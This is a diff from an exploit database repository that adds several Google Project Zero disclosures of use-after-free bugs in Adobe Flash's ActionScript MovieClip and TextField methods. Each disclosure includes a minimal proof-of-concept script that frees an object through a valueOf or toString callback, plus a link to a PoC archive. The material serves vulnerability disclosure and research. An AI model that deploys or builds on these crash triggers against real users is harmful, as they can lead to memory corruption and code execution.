Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39040.zip
|
||||
|
26
platforms/windows/dos/39041.txt
Executable file
26
platforms/windows/dos/39041.txt
Executable file
|
@ -0,0 +1,26 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=592
|
||||
|
||||
There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.
|
||||
|
||||
A minimal POC follows:
|
||||
|
||||
this.createEmptyMovieClip("mc", 1);
|
||||
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);
|
||||
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
A sample fla and swf are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39041.zip
|
||||
|
30
platforms/windows/dos/39042.txt
Executable file
30
platforms/windows/dos/39042.txt
Executable file
|
@ -0,0 +1,30 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=591
|
||||
|
||||
There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used.
|
||||
|
||||
A minimal PoC follows:
|
||||
|
||||
|
||||
this.createEmptyMovieClip("mc", 1);
|
||||
|
||||
mc.duplicateMovieClip( "mc",{valueOf : func});
|
||||
|
||||
|
||||
function func(){
|
||||
|
||||
trace("in func");
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 5;
|
||||
|
||||
}
|
||||
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39042.zip
|
||||
|
32
platforms/windows/dos/39044.txt
Executable file
32
platforms/windows/dos/39044.txt
Executable file
|
@ -0,0 +1,32 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=588
|
||||
|
||||
There is a use-after-free in the TextField sharpness setter. If the sharpness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
var times = 0;
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.sharpness = {valueOf : func};
|
||||
|
||||
function func(){
|
||||
|
||||
if(times == 0){
|
||||
times++;
|
||||
return 0;
|
||||
}
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39044.zip
|
||||
|
32
platforms/windows/dos/39045.txt
Executable file
32
platforms/windows/dos/39045.txt
Executable file
|
@ -0,0 +1,32 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=587
|
||||
|
||||
There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
var times = 0;
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.thickness = {valueOf : func};
|
||||
|
||||
function func(){
|
||||
|
||||
if(times == 0){
|
||||
times++;
|
||||
return 0;
|
||||
}
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39045.zip
|
||||
|
34
platforms/windows/dos/39046.txt
Executable file
34
platforms/windows/dos/39046.txt
Executable file
|
@ -0,0 +1,34 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=586
|
||||
|
||||
The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
var times = 0;
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
var f = new TextFormat();
|
||||
tf.setFormat( {valueOf : func}, 2, f);
|
||||
|
||||
function func(){
|
||||
|
||||
if(times == 0){
|
||||
times++;
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39046.zip
|
||||
|
26
platforms/windows/dos/39047.txt
Executable file
26
platforms/windows/dos/39047.txt
Executable file
|
@ -0,0 +1,26 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=585
|
||||
|
||||
There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.replaceSel({valueOf : func});
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return "text";
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39047.zip
|
||||
|
27
platforms/windows/dos/39048.txt
Executable file
27
platforms/windows/dos/39048.txt
Executable file
|
@ -0,0 +1,27 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=584
|
||||
|
||||
There is a use-after-free in the TextField.replaceText function. If the function is called with a string parameter with toString defined, or an integer parameter with valueOf defined, the parent object of the TextField can be used after it is freed. Please note that all three parameters of this function are susceptible to this issue.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
var times = 0;
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.replaceText( 1, 2, {valueOf : func});
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return "text";
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39048.zip
|
||||
|
33
platforms/windows/dos/39049.txt
Executable file
33
platforms/windows/dos/39049.txt
Executable file
|
@ -0,0 +1,33 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=583
|
||||
|
||||
If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 301);
|
||||
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100);
|
||||
trace(my_txt);
|
||||
my_txt.variable = "today_date";
|
||||
mc.today_date = "blah";
|
||||
var times = 0;
|
||||
|
||||
var date_interval:Number = setInterval(updateDate, 500);
|
||||
|
||||
function updateDate() {
|
||||
mc.today_date = {toString : func};
|
||||
}
|
||||
|
||||
function func(){
|
||||
if(times == 0){
|
||||
times++;
|
||||
mc.removeMovieClip();
|
||||
}
|
||||
|
||||
return "test";
|
||||
|
||||
}
|
||||
|
||||
A sample fla and swf are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39049.zip
|
||||
|
24
platforms/windows/dos/39050.txt
Executable file
24
platforms/windows/dos/39050.txt
Executable file
|
@ -0,0 +1,24 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=579
|
||||
|
||||
There is a use-after-free in the TextField.variable setter. If the variable name that is added is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.variable = {toString : func};
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return "myvar";
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39050.zip
|
||||
|
24
platforms/windows/dos/39051.txt
Executable file
24
platforms/windows/dos/39051.txt
Executable file
|
@ -0,0 +1,24 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=578
|
||||
|
||||
There is a use-after-free in the TextField.htmlText setter. If the htmlText the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.htmlText = {toString : func};
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return "<b>hello</b>";
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39051.zip
|
||||
|
24
platforms/windows/dos/39052.txt
Executable file
24
platforms/windows/dos/39052.txt
Executable file
|
@ -0,0 +1,24 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=577
|
||||
|
||||
There is a use-after-free in the TextField.type setter. If the type the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.type = {toString : func};
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return "input";
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39052.zip
|
||||
|
24
platforms/windows/dos/39053.txt
Executable file
24
platforms/windows/dos/39053.txt
Executable file
|
@ -0,0 +1,24 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=576
|
||||
|
||||
There is a use-after-free in the TextField.text setter. If the text the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 101);
|
||||
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
|
||||
tf.text = {toString : func};
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return "natalie";
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39053.zip
|
||||
|
29
platforms/windows/dos/39054.txt
Executable file
29
platforms/windows/dos/39054.txt
Executable file
|
@ -0,0 +1,29 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=574
|
||||
|
||||
There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:
|
||||
|
||||
var times = 0;
|
||||
var mc = this.createEmptyMovieClip("mc", 1);
|
||||
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
|
||||
tf.text = "hello";
|
||||
tf.tabIndex = {valueOf : func};
|
||||
|
||||
function func(){
|
||||
if(times == 0){
|
||||
times++;
|
||||
return;
|
||||
}
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 0x77777777;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39054.zip
|
||||
|
24
platforms/windows/dos/39055.txt
Executable file
24
platforms/windows/dos/39055.txt
Executable file
|
@ -0,0 +1,24 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=571
|
||||
|
||||
There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.
|
||||
|
||||
A minimal PoC is as follows:
|
||||
|
||||
n ={valueOf : func};
|
||||
|
||||
function func(){
|
||||
|
||||
_global.mc.removeMovieClip();
|
||||
// fix heap here;
|
||||
|
||||
}
|
||||
this.createEmptyMovieClip("mc", 1);
|
||||
_global.mc = mc;
|
||||
mc.attachMovie("myResetButton","newResetButton", n);
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39055.zip
|
||||
|
27
platforms/windows/dos/39056.txt
Executable file
27
platforms/windows/dos/39056.txt
Executable file
|
@ -0,0 +1,27 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=570
|
||||
|
||||
There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:
|
||||
|
||||
var a = func;
|
||||
_global.Number = a;
|
||||
this.createEmptyMovieClip("mc", 1);
|
||||
mc.localToGlobal( 7 );
|
||||
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// fix heap here
|
||||
|
||||
this.x = 2;
|
||||
this.y = 1;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39056.zip
|
||||
|
Loading…
Add table
Reference in a new issue